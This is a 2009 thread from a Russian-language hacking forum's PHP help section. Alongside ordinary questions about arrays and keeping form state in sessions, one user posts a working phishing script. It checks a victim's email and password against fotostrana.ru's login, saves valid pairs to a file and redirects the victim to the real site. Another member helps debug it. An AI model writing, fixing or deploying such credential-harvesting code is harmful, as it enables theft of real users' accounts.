
11.01.2009, 13:14
|
|
Новичок
Регистрация: 06.01.2009
Сообщений: 13
С нами:
9128038
Репутация:
19
|
|
Вариантов навалом.
Сессии, Cookies, БД, кэш, javascript
Если ты реализовал для текстовых полей, значит так же реализуй и для остальных input'ов, там схема абсолютно та же, в чём сложность?
|
|
|

11.01.2009, 15:10
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
PHP код:
<?php
/**
* @author m0hze
* @copyright 2009
*/
$email = $_POST['user_email'];
$password = $_POST['user_password'];
if($email == '' && $password == ''){
header("Location : index.php");
} else {
$post = 'user_email='.$email.'&user_password='.$password;
$cl = curl_init('http://fotostrana.ru/user/login');
curl_setopt($cl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($cl, CURLOPT_USERAGENT, 'Opera/9.25 (Windows NT 5.1; U; ru)');
curl_setopt($cl, CURLOPT_REFERER, 'http://mail.ru/');
curl_setopt($cl, CURLOPT_HEADER, 1);
curl_setopt($cl, CURLOPT_POST, 1);
curl_setopt($cl, CURLOPT_POSTFIELDS, $post);
$exec = curl_exec($cl);
curl_close($cl);
if(stristr($exec, 'Неверный логин или пароль')){
$error = file_get_contents('index.php');
echo $error;
}else{
$fo = fopen('base.php','a');
fwrite($fo,"$email:$password\n");
fclose($fo);
header("Location: http://fotostrana.ru/user/login/?user_email=$email&user_password=$password");
}
}
?>
Все принимает за гуд,хотя сам курл работает,не проходит только проверка на слово.Кто чем? А то у меня вынос мозга начался...
|
|
|

11.01.2009, 15:14
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
С нами:
10107625
Репутация:
67
|
|
есть массив
[0] - 1
[1] - 2
[2] - 4
есть ли функция в php чтобы вставить в этот массив значение 3 так чтобы получилось
[0] - 1
[1] - 2
[2] - 3
[3] - 4 ?
пытаюсь реализовать сортировку вставкой на пхп, никак не получается без такой функции
|
|
|

11.01.2009, 15:19
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
Сообщение от Корвин
есть массив
[0] - 1
[1] - 2
[2] - 4
есть ли функция в php чтобы вставить в этот массив значение 3 так чтобы получилось
[0] - 1
[1] - 2
[2] - 3
[3] - 4 ?
пытаюсь реализовать сортировку вставкой на пхп, никак не получается без такой функции
array_push( )
Функция array_push( ) присоединяет (то есть дописывает в конец массива) один или несколько новых элементов. Синтаксис функции array_push( ):
int array_push(array массив, mixed элемент [, ...])
В общем вот тут почитай, очень подробно и с примерами:
http://i-vd.org.ru/books/php/arrays.shtml#f
|
|
|

11.01.2009, 16:49
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
С нами:
10107625
Репутация:
67
|
|
Сообщение от Pashkela
array_push( )
Функция array_push( ) присоединяет (то есть дописывает в конец массива) один или несколько новых элементов. Синтаксис функции array_push( ):
int array_push(array массив, mixed элемент [, ...])
В общем вот тут почитай, очень подробно и с примерами:
http://i-vd.org.ru/books/php/arrays.shtml#f
это совсем не то, есть лучше
array_pad ( array input, integer pad_size, mixed pad_value )
там в зависимости от pad_size вставляет в начало или в конец, но это тоже не то, мне нужно в середину вставить
|
|
|

11.01.2009, 15:15
|
|
Познающий
Регистрация: 25.12.2008
Сообщений: 34
С нами:
9145978
Репутация:
6
|
|
смотрите. то что через сессии это понятно. для текстовых полей реализовано так.
<?
session_start();
$_SESSION['FName']=$_POST['FName'];
$_SESSION['LName']=$_POST['LName'];
?>
<html >
<body>
<form action="" method="post">
First Name: <input type="text" name="FName" value="<?php echo $_SESSION['FName']?>"/>
Last Name: <input type="text" name="LName" value="<?php echo $_SESSION['LName']?>"/>
<input type="submit" name="submit" value="Submit Data"/>
</form>
</body>
</html>
а как сделать для ?
<tr>
<td class="left"/>Пол:
<td class="right"/><input type="radio" name="con_q4" value="m"/>мужской<input type="radio" name="con_q4" value="f"/>женский
</tr>
|
|
|

11.01.2009, 20:59
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
С нами:
9361826
Репутация:
115
|
|
Сообщение от DMajere
а как сделать для ?
<tr>
<td class="left"/>Пол:
<td class="right"/><input type="radio" name="con_q4" value="m"/>мужской<input type="radio" name="con_q4" value="f"/>женский
</tr>
Например так:
Код:
<input type="radio" name="con_q4" value="m" <?php if ($_SESSION['POL']=='m') echo "checked";?> />мужской
<input type="radio" name="con_q4" value="f" <?php if ($_SESSION['POL']=='f') echo "checked";?> />женский
Для селекта аналогично, только для выбранного option выставляешь selected
Последний раз редактировалось prescott; 11.01.2009 в 21:03..
|
|
|

11.01.2009, 15:24
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Мне чень не удобно,но посмотрите пожалуйста.Мне какбе срочно комрады.Чтото ошибку не найду,а проверка не проходит. Посто номер #7726
|
|
|

11.01.2009, 15:32
|
|
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
С нами:
9477026
Репутация:
2362
|
|
Сообщение от m0Hze
Мне чень не удобно,но посмотрите пожалуйста.Мне какбе срочно комрады.Чтото ошибку не найду,а проверка не проходит. Посто номер #7726
Скрипт не тестил (особо времени нет), просто посмотрел, но что не понравилось.
PHP код:
$post = 'user_email='.$email.'&user_password='.$password;
urlencode() к параметрам применять надо.
if(stristr($exec, 'Неверный логин или пароль')){
Здесь могут быть подводные камни с кодировкой.
|
|
|

11.01.2009, 15:41
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами:
9223466
Репутация:
3171
|
|
Да я уже мозг сломал,что тут не правильно хз,вроде все норм написал,все работает как нужно на других сайтах,а на этотм - хер.Ухже весь извелся,мне человеку этот скрипт быстрее отдать и все =) просто не добно,он ждет  а вы все его знаете кстате.. 
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|